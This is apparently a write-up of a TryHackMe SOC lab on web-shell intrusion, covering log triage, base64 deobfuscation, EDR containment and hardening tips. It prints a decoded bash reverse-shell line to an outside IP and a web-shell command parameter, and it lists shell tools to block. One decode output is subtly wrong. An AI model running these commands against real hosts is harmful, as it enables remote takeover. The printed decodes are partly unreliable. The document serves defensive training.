TryHackMe First Shift: Portal Drop SOC Analyst Walkthrough & Incident Response

1. The Incident Briefing & Monitoring Alert

You are on the day shift in the Security Operations Center when the monitoring dashboard flashes red. A high-priority alert appears in the Web Application Firewall (WAF) console reporting anomalous HTTP POST traffic on crm.trypatchme.thm, followed by an unauthorized file write anomaly in the public upload directory.

TryHackMe Portal Drop Briefing Dashboard — **Figure 1:** Initial SOC Dashboard Alert & Threat Ingress Briefing Source: TryHackMe First Shift Task 5

To triage this intrusion responsibly, we established a dual-source correlation methodology:

Web Server Access Logs: Parsing perimeter HTTP requests, identifying the attacker's source IP, measuring credential stuffing volumes, and isolating uploaded files.
Endpoint Detection & Response (EDR) Console: Tracking process execution lineage, identifying anomalous parent-child forks, and triggering host containment actions.

Analyzing the Evidence Correlation — **Figure 2:** Correlating Web Access Logs with Endpoint EDR Telemetry Field Notes Page 02

2. Perimeter Log Analysis: Unmasking the Threat Actor

We began the forensic investigation by filtering the raw Apache access log (access-combined-crm.log) for authentication requests targeting /CRM/login.php.

soc-analyst@telemetry:~$ grep 'POST /CRM/login.php' access-combined-crm.log | awk '{print $1}' | sort | uniq -c

53 34.67.91.83

Web Log Brute Force Log Inspection — **Figure 3:** Web Log Grep Commands & Credential Stuffing Analysis Field Notes Page 03

🚨 Triaged Evidence — Ingress & Login Counts

Attacker Source IP: 34.67.91.83
Failed Authentication Attempts (HTTP 401): 35 requests
Compromised / Successful Logins (HTTP 200): 18 requests

3. Malicious Upload & Tooling Fingerprint

Once valid session cookies were obtained via the brute-force attack, the threat actor targeted the CRM portal's file upload interface. Searching for multipart upload requests revealed the script name and automated tooling client:

soc-analyst@telemetry:~$ grep -Ei 'upload|upload.php' access-combined-crm.log

34.67.91.83 - - [06/Nov/2025:14:27:34 +0000] "POST /CRM/portal/uploads/upload.php HTTP/1.1" 200 482 "-" "python-requests/2.31.0"

Malicious Upload and Tooling — **Figure 4:** Identifying Malicious Script (`invoice.php`) & Python User-Agent Field Notes Page 04

The uploaded file was named invoice.php, masquerading as a routine billing document. The attacker first invoked the web shell script at 2025-11-06 14:27:34 UTC.

4. Payload Deobfuscation & MITRE ATT&CK Mapping

The threat actor initiated remote command execution (RCE) by issuing HTTP POST requests to /CRM/portal/uploads/invoice.php?q=ZDJodllXMXA&auth=31337. Deobfuscating the Base64 parameter revealed the initial reconnaissance command:

soc-analyst@telemetry:~$ echo 'ZDJodllXMXA' | base64 -d

whoami

Payload Analysis and MITRE ATT&CK Mapping — **Figure 5:** Command Deobfuscation, MITRE Technique T1505.003 & Process Image Field Notes Page 05

T1505.003

Server Software Component: Web Shell

Adversaries backdoor web servers by uploading executable scripts (e.g. invoice.php) to maintain persistent access.

T1059.004

Unix Shell Command Execution

Commands executed via /usr/sbin/php-fpm7.4 under low-privilege service account www-data.

5. Reverse Shell & Credential Discovery

Following initial reconnaissance, the threat actor staged an interactive reverse shell using a double-encoded Bash payload:

soc-analyst@telemetry:~$ echo 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTUuNTguMTQ4Ljg2LzgwODAgMD4mMQ==' | base64 -d

bash -i >& /dev/tcp/115.58.148.86/8080 0>&1

Reverse Shell and System Discovery — **Figure 6:** Decoded Reverse Shell Payload connecting to C2 IP `115.58.148.86:8080` Field Notes Page 06

Through EDR telemetry, we observed the attacker targeting core configuration files to extract database credentials:

Sensitive File Read: /etc/trycrm/config.json
Production Database Harvested: trycrm_production

6. EDR Alert Correlation & Threat Containment

Correlating the endpoint detections in our EDR console enabled structured containment across 4 alert tiers:

EDR Detections and Containment — **Figure 7:** Triage of 4 EDR Detection Alerts & Containment Responses Field Notes Page 07

Detection 1 (Suspicious File Write): Quarantined /var/www/html/CRM/portal/uploads/invoice.php (Backdoor:PHP/Generic).
Detection 2 (Parent-Child Anomaly): Killed unauthorized php-fpm -> bash process tree.
Detection 3 (Unusual User Behavior): Revoked compromised CRM active session tokens.
Detection 4 (Hands-On-Keyboard Root Activity): Blacklisted egress IP 115.58.148.86 at the perimeter firewall.

CTF Flag Captured Completion — **Figure 8:** Incident Contained & Final Investigation Flag Captured Field Notes Page 08

7. Key Engineering Takeaways for Enterprise Systems

Execution Gating on Upload Directories: Configure Nginx/Apache to forbid script execution in all writable directories (location ^~ /uploads/ { deny all; }).
WAF Deep Packet Inspection: Enforce WAF inspection rules that block Base64-encoded strings containing Unix binary invocations (`whoami`, `bash`, `nc`).
Restricted Shell Spawning: Lock down web server runtime users (www-data, nginx) by assigning /sbin/nologin shell and disabling proc_open / exec in php.ini.
Immediate Credential Rotation: Whenever configuration files such as config.json or .env are accessed during an intrusion, all associated database credentials and API secrets must be rotated immediately.

SOC Analyst Field Notes: Investigating & Containing the "Portal Drop" Web Shell Breach